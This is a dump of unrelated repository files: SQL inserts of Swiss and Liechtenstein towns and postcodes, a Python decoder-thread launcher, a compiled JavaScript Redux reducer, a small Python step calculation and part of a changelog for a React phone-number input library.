("CHE","Eisten",3922,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kalpetran",3922,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Embd",3926,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grächen",3925,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lalden",3931,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Randa",3928,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saas-Almagell",3905,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saas-Balen",3908,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saas-Fee",3906,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saas-Grund",3910,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Niklaus VS",3924,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Herbriggen",3927,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stalden VS",3922,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Staldenried",3933,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Täsch",3929,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Törbel",3923,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Visp",3930,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eyholz",3930,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Visperterminen",3932,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zeneggen",3934,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zermatt",3920,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bevaix",2022,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Areuse",2015,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Boudry",2017,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corcelles NE",2035,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cormondrèche",2036,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cortaillod",2016,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fresens",2027,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gorgier",2023,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chez-le-Bart",2025,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montalchez",2027,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Peseux",2034,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rochefort",2019,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chambrelien",2019,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montezillon",2037,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Champ-du-Moulin",2149,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fretereules",2149,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brot-Dessous",2149,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Aubin-Sauges",2024,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Aubin-Sauges",2024,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vaumarcus",2028,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Auvernier",2012,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Colombier NE",2013,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bôle",2014,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Chaux-de-Fonds",2300,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Cibourg",2300,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Crêt-du-Locle",2322,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Cibourg",2333,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Cibourg",2616,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Planchettes",2325,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Sagne NE",2314,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Brenets",2416,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Brévine",2406,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Taillères",2406,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Châtagne",2406,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Brouillet",2406,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brot-Plamboz",2318,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Cerneux-Péquignot",2414,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Chaux-du-Milieu",2405,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Locle",2400,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Locle",2400,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Prévoux",2400,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Ponts-de-Martel",2316,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Petit-Martel",2316,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cornaux NE",2087,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cressier NE",2088,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Enges",2073,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hauterive NE",2068,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Landeron",2525,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lignières",2523,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neuchâtel",2000,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chaumont",2067,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Blaise",2072,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Marin-Epagnier",2074,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thielle",2075,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wavre",2075,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Valangin",2042,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montmollin",2037,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Boudevilliers",2043,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fontaines NE",2046,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fontainemelon",2052,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Vue-des-Alpes",2052,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cernier",2053,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chézard-St-Martin",2054,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Vieux-Prés",2054,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dombresson",2056,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villiers",2057,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Pâquier NE",2058,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vilars NE",2063,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Engollon",2063,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fenin",2063,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saules",2063,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Savagnier",2065,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Geneveys-sur-Coffrane",2206,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Coffrane",2207,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Hauts-Geneveys",2208,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Côte-aux-Fées",2117,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Verrières",2126,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Noiraigue",2103,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Travers",2105,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Couvet",2108,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Môtiers NE",2112,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Boveresse",2113,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fleurier",2114,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buttes",2115,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mont-de-Buttes",2116,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Sulpice NE",2123,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Sagnettes",2124,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Bayards",2127,"NE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aire-la-Ville",1288,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Anières",1247,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Avully",1237,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Athenaz (Avusy)",1285,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Croix-de-Rozon",1257,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bellevue",1293,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bernex",1233,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Carouge GE",1227,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cartigny",1236,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Céligny",1298,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Céligny",1298,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chancy",1284,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chêne-Bougeries",1224,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Conches",1231,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chêne-Bourg",1225,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Choulex",1244,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Collex",1239,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vésenaz",1222,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Collonge-Bellerive",1245,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cologny",1223,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Confignon",1232,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corsier GE",1246,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Plaine",1283,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dardagny",1283,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Genève",1201,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Genève",1202,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Genève",1203,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Genève",1204,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Genève",1205,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Genève",1206,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Genève",1207,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Genève",1208,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Genève",1209,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Acacias",1227,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Genthod",1294,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Genève",1215,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Grand-Saconnex",1218,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gy",1251,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hermance",1248,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jussy",1254,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Laconnex",1287,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grand-Lancy",1212,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Petit-Lancy",1213,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meinier",1252,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cointrin",1216,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meyrin",1217,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Onex",1213,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Perly",1258,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Plan-les-Ouates",1228,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chambésy",1292,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Presinge",1243,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Puplinge",1241,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Russin",1281,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Satigny",1242,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Soral",1286,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thônex",1226,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Troinex",1256,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vandoeuvres",1253,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vernier",1214,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Lignon",1219,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aïre",1219,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Châtelaine",1219,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Avanchets",1220,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Versoix",1290,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vessy",1234,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Veyrier",1255,"GE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Boécourt",2856,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montavon",2857,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bourrignon",2803,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Châtillon JU",2843,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corban",2826,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courchapoix",2825,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courrendlin",2830,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courroux",2822,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courcelon",2823,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courtételle",2852,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Delémont",2800,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Develier",2802,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ederswiler",2813,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mervelier",2827,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mettembert",2806,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Movelier",2812,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pleigne",2807,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rebeuvelier",2832,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rossemaison",2842,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saulcy",2873,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Soyhières",2805,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vellerat",2830,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courfaivre",2853,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bassecourt",2854,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Glovelier",2855,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Undervelier",2863,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Soulce",2864,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vicques",2824,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montsevelier",2828,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vermes",2829,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Bémont JU",2360,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Bois",2336,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Breuleux",2345,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Chaux-des-Breuleux",2345,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Enfers",2363,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Genevez JU",2714,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Prédame",2714,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lajoux JU",2718,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fornet-Dessus",2718,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montfaucon",2362,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montfavergier",2362,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Emibois",2338,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Muriaux",2338,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Noirmont",2340,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saignelégier",2350,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Pommerats",2353,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Goumois",2354,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Brais",2364,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Ursanne",2882,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Soubey",2887,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alle",2942,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Beurnevésin",2935,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Boncourt",2926,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bonfol",2944,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bure",2915,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Coeuve",2932,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cornol",2952,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courchavon",2922,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courgenay",2950,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courtemautruy",2950,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courtedoux",2905,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Damphreux",2933,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fahy",2916,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fontenais",2902,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-sur-Fontenais",2903,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bressaucourt",2904,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grandfontaine",2908,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lugnez",2933,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Porrentruy",2900,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rocourt",2907,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vendlincourt",2943,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courtemaîche",2923,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montignez",2924,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buix",2925,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Ursanne",2882,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montmelon",2883,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montenol",2884,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Epauvillers",2885,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Epiquerez",2886,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seleute",2888,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ocourt",2889,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chevenez",2906,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Réclère",2912,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Roche-d'Or",2912,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Damvant",2914,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lucelle",2807,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Miécourt",2946,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Charmoille",2947,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fregiécourt",2953,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pleujouse",2953,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Asuel",2954,"JU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vaduz",9490,"LI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Triesen",9495,"LI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Balzers",9496,"LI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Triesenberg",9497,"LI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schaan",9494,"LI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Planken",9498,"LI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nendeln",9485,"LI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eschen",9492,"LI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schaanwald",9486,"LI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mauren FL",9493,"LI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gamprin-Bendern",9487,"LI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ruggell",9491,"LI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schellenberg",9488,"LI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thunersee",9999,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brienzersee",9999,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bielersee",9999,"BE"); <file_sep>/decoder_task.py #!/usr/bin/python ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # ###################################################################################### import importlib import Globals class decoder_task(): soc_ip = "172.16.58.3" def __init__(self, decoder, name): print( decoder ) try: d = Globals.decoder[ name ] return except: d = dict() m = importlib.import_module( "decoder." + decoder['class'] ) d['class'] = m.decoder() d['multi_ip'] = self.soc_ip d['port'] = decoder['port'] d['preferences'] = decoder p = d['class'].createThread( d, decoder, name ) d['pid'] = p Globals.decoder[name] = d if p is not None: p.setDaemon( True ) p.start()
a519df3d5a2d1f6152ec276754e247c3ece217b4
[ "SQL", "Markdown", "Makefile", "Python", "C++", "Shell" ]
38
Python
alcatrazproduction/Chrono
90751124fd1aa02481d4f4140b94632825b2dc19
2ea723450b6b692959f2bdc14eaaa0abd0674e2e
refs/heads/master
<file_sep>def required_steps(n, forward, backward): if n <= forward: return n return (forward + backward) * (n - forward) + forward forward = 3 backward = 2 n = 150 print(required_steps(n, forward, backward))
5708f3ca079aa96cf21ded27b7ec04bc7d05c06a
[ "Python" ]
1
Python
garvitsharma15/assignment
dbec8370bf65b840bbe8d40ff72b5dde0a2ee29e
83337ff2fdbf2866ee267e8ab3143782278ee175
refs/heads/master
<file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = queriesReducer; exports.isComposable = void 0; var _unset2 = _interopRequireDefault(require("lodash/unset")); var _get2 = _interopRequireDefault(require("lodash/get")); var _set2 = _interopRequireDefault(require("lodash/set")); var _immer = _interopRequireDefault(require("immer")); var _constants = require("../constants"); var _query = require("../utils/query"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; var ownKeys = Object.keys(source); if (typeof Object.getOwnPropertySymbols === 'function') { ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { return Object.getOwnPropertyDescriptor(source, sym).enumerable; })); } ownKeys.forEach(function (key) { _defineProperty(target, key, source[key]); }); } return target; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var isComposable = function isComposable(action) { return (0, _get2.default)(action, 'meta.where') && (0, _get2.default)(action, 'meta.collection'); }; exports.isComposable = isComposable; function queriesReducer() { var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; var action = arguments.length > 1 ? arguments[1] : undefined; return (0, _immer.default)(state, function (draft) { if (!isComposable(action)) { return state; } var key = (0, _query.getBaseQueryName)(action.meta); switch (action.type) { case _constants.actionTypes.GET_SUCCESS: case _constants.actionTypes.LISTENER_RESPONSE: draft[key] = _objectSpread({ data: action.payload.data }, action.meta); return draft; case _constants.actionTypes.UNSET_LISTENER: if (draft[key]) { draft[key].data = undefined; } return draft; case _constants.actionTypes.DOCUMENT_ADDED: case _constants.actionTypes.DOCUMENT_MODIFIED: (0, _set2.default)(draft, [key, 'data', action.meta.doc], action.payload.data); return draft; case _constants.actionTypes.DOCUMENT_REMOVED: case _constants.actionTypes.DELETE_SUCCESS: (0, _unset2.default)(draft, [key, 'data', action.meta.doc]); return draft; default: return state; } }); }<file_sep>2.3.8 / 15.03.2019 ================== * Recently I removed some of the countries from the list of selectable countries because they weren't supported by Google's `libphonenumber`: previously I didn't check if all the selectable countries were supported (for some reason) so the list of countries contained some countries which weren't supported by `libphonenumber` which in turn would result in incorrect phone number parsing/formatting (countries like Abkhazia and South Osetia, for example). * I also added Kosovo to the list. It's not a country but a "territory" instead. I imagine people from Kosovo might be looking for "Kosovo" in the list and they'd be confused if it was missing. Google supports `XK` territory code and the flag for `XK` has been recently added to the flags repo. Anyone using custom `flagsPath` should update their flag bundles accordingly. * Also added `TA` and `AC` countries to the list but they're using `SH` flag for now, so no need to update flags for them yet. If the author of the flags repo adds the flags for `TA` and `AC` then the flags will have to be updated. See the [issue](https://github.com/lipis/flag-icon-css/issues/537) in the flags repo for more info. * Also note that when supplying custom `flagsPath` those custom-hosted flags might go out of sync with the list of countries. For example, there could be people hosting their own copy of flags, and then `XK` flag is added to the flags repo and I add "Kosovo" territory to the list and now `XK` flag is missing from all custom-hosted flag bundles and if those people update this library to the latest version without updating their custom-hosted flag bundled they'd get an "Image not found" error when selecting "Kosovo" territory from the list. 2.3.0 / 02.01.2019 ================== * Migrated `input-control.js` to the latest `libphonenumber-js` API. * Added `/min`, `/max`, `/mobile` and `/custom` subpackages pre-wired with different flavors of metadata. See the relevant readme section for more info. <!-- * Removed `*DefaultMetadata.js` files. --> * Deprecated importing from `react-phone-number-input/libphonenumber` sub-package (a workaround for ES6/CommonJS double import issue) because the ES6/CommonJS double import issue has been resolved. 2.2.9 / 30.09.2018 ================== * Added `.react-phone-number-input--focus` CSS class. [Issue](https://github.com/catamphetamine/react-phone-number-input/issues/189). 2.2.0 / 03.08.2018 ================== * Changed the output of `AsYouType` formatter. E.g. before for `US` and input `21` it was outputting `(21 )` which is not good for phone number input (not intuitive and is confusing). Now it will not add closing braces which haven't been reached yet by the input cursor and it will also strip the corresponding opening braces, so for `US` and input `21` it now is just `21`, and for `213` it is `(213)`. 2.1.8 / 27.07.2018 ================== * Lowered React requirements back to `0.14` (same as for version 1.x of this library). 2.0.0 / 17.07.2018 ================== * (breaking change) `/native` is now the default export. `react-responsive-ui` select is now exported as `react-phone-number-input/react-responsive-ui`. * (breaking change) Migrated `react-responsive-ui` country select from `0.10` to `0.13`. It no longer has text input functionality (like "autocomplete") — it's just a `<select/>` now, without any text input field. Removed `rrui.css` file (use `react-responsive-ui/style.css` bundle instead, or import styles individually from `react-responsive-ui/styles`). Renamed `maxItems` property to `scrollMaxItems`. Removed `countrySelectToggleClassName` property (unused). * (breaking change) `smartCaret` is now `false` by default (previously was `true`). This was done because some Samsung Android phones were having issues with `smartCaret={true}` (which was the default in version `1.x`). `smartCaret` has been removed for now, so that it doesn't include `input-format` library code. * (breaking change) `international` property is now `true` by default meaning that by default there will always be the "International" option in the country `<select/>`. * (breaking change) CSS changes: renamed `.react-phone-number-input__phone--native` CSS class to `.react-phone-number-input__phone`, added new `.react-phone-number-input__input` CSS class (the phone input). * (breaking change) Removed undocumented exports. * (breaking change) For `/custom` component `labels` and `internationalIcon` properties are now required (previously were `react-phone-number-input/locales/default.json` and `react-phone-number-input/commonjs/InternationalIcon` by default). * 